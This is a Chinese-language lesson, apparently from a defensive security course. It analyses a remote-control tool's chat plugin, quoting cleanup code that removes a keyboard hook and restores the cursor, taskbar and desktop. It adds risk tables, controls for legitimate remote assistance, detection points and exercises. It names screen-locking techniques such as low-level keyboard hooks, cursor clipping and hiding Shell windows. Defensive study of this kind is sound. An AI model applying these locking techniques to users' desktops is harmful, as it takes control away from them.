// 1. UnhookWindowsHookEx 只解除键盘 Hook。
// 2. lpfnNtResumeProcess(hProcess) 试图恢复前面挂起的进程。
// 3. 如果进程崩溃或句柄异常,用户桌面可能残留异常状态。
void UnSetHook()
{
    if (g_hKeyBoard)
    {
        UnhookWindowsHookEx(g_hKeyBoard);
        lpfnNtResumeProcess(hProcess);
        g_hKeyBoard = NULL;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14

# 11. 屏幕锁定风险面

11. 屏幕锁定风险面(配图)

源码里的锁定分支涉及几类高风险行为:

行为 风险 防御关注
窗口置顶 用户难以忽略或关闭 是否有明确授权与退出方式
限制光标 限制用户操作范围 ClipCursor 调用和窗口范围
隐藏桌面元素 干扰任务栏、桌面和开始按钮 ShowWindow 隐藏 Shell 窗口
低层键盘钩子 拦截系统快捷键 WH_KEYBOARD_LL 行为
高权限进程操作 影响系统安全边界 高权限 API 调用、权限提升事件

合法远程协助工具可以有“锁定用户操作”能力,但必须满足几个条件:

条件 说明
用户主动同意 用户清楚知道谁在协助、协助什么
可随时退出 用户必须能结束会话或恢复控制
明确提示 窗口标题、运维人员身份、工单号都要可见
完整记录 锁定、解锁、发送消息、关闭会话都要记录
最小控制 能不用锁屏就不用锁屏,能局部限制就不全局限制

# 12. 析构函数:恢复状态很重要

析构函数里如果发现处于锁定状态,会尝试恢复钩子、光标、屏保状态和桌面元素。

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:167-184
// 防御分析注释:
// 1. 如果 user == 1,说明模块曾进入屏幕锁定相关状态。
// 2. 析构时尝试恢复钩子、光标和桌面元素。
// 3. 应急处置时不能只杀进程,还要确认用户桌面是否恢复正常。
CChatManager::~CChatManager()
{
    if (!m_buser)
        return;

    if (user == 1)
    {
        UnSetHook();
        ClipCursor(NULL);
        SystemParametersInfo(SPI_SETSCREENSAVERRUNNING,
                             false, 0, SPIF_UPDATEINIFILE);
        ShowWindow(FindWindow(_T("Shell_TrayWnd"), NULL), SW_SHOW);
        ShowWindow(FindWindow(_T("Button"), _T("开始")), SW_SHOW);
        ShowWindow(FindWindow(_T("Progman"), NULL), SW_SHOW);
        user = 0;
    }

    if (m_hWnd)
        SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

这一段对防御处置有价值:如果发现类似行为,处置脚本或人工流程要检查光标限制、任务栏显示、桌面显示、键盘钩子和用户会话状态。

# 13. 合法远程协助的安全控制

13. 合法远程协助的安全控制(配图)

远程交谈模块最应该补的不是“更多功能”,而是安全边界:

控制点 建议
用户可见 窗口标题显示组织、工单、运维人员身份
授权确认 用户点击确认后才能开始会话
可退出 结束按钮必须可用,且不被远端禁用
记录保存 双方消息、控制命令、锁定/解锁时间全部记录
敏感提示 不允许索要密码、验证码、私钥、令牌
控制限制 禁止静默键盘钩子和强制隐藏桌面元素
管理员确认 涉及权限提升或锁屏必须二次确认

# 14. 企业检测点

远程交谈检测要同时看 UI、进程、网络和用户行为。

检测面 关注点 关联方式
网络会话 TOKEN_CHAT_START、聊天文本、控制命令 会话来源、持续时间、对端地址
窗口行为 置顶窗口、隐藏/恢复、对话框创建 窗口类、标题、所属进程
用户控制 ClipCursor、屏保状态、Shell 窗口隐藏 是否影响用户正常操作
键盘行为 低层键盘钩子 调用进程、时间窗口、是否有授权
交谈内容 是否索要敏感信息 关键词、工单号、身份验证
状态恢复 解锁后桌面是否恢复 光标、任务栏、桌面、开始按钮

建议关联逻辑:

异常插件进程建立长连接
  -> 发送 TOKEN_CHAT_START
  -> 创建置顶聊天窗口
  -> 收发文本消息
  -> 触发锁定或隐藏桌面元素
  -> 调用低层键盘钩子或限制光标
  -> 触发远程交互风险告警
1
2
3
4
5
6
7

# 15. 合法练习题

  1. 只阅读源码,画出 CChatManager 从构造函数到创建聊天窗口的生命周期。
  2. 整理 COMMAND_CHAT_* 与行为的对应关系,并标出哪些属于高风险控制命令。
  3. 画出文本包和单字节命令包的业务载荷格式,说明 nSize == 1 的判断含义。
  4. 从防御角度写一条规则:异常进程创建置顶聊天窗口后,又限制光标范围并隐藏任务栏。
  5. 设计合法远程协助聊天记录字段:会话 ID、工单号、双方身份、消息内容、时间、控制命令。
  6. 写一份企业规范:远程协助过程中禁止向用户索要哪些敏感信息。
  7. 说明为什么“结束交谈按钮默认禁用”不符合安全工程设计。

# 16. 本课小结

远程交谈模块看似只是聊天,但源码里还包含关闭、锁定、解锁等控制命令,并能影响用户桌面和输入行为。安全工程视角下,它必须被当作用户交互控制能力,而不是普通消息窗口。

合法远程协助工具要做到透明、可确认、可退出、可追溯。下一课会进入更敏感的键盘记录模块,届时只从防御角度分析输入捕获风险和企业防护策略。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>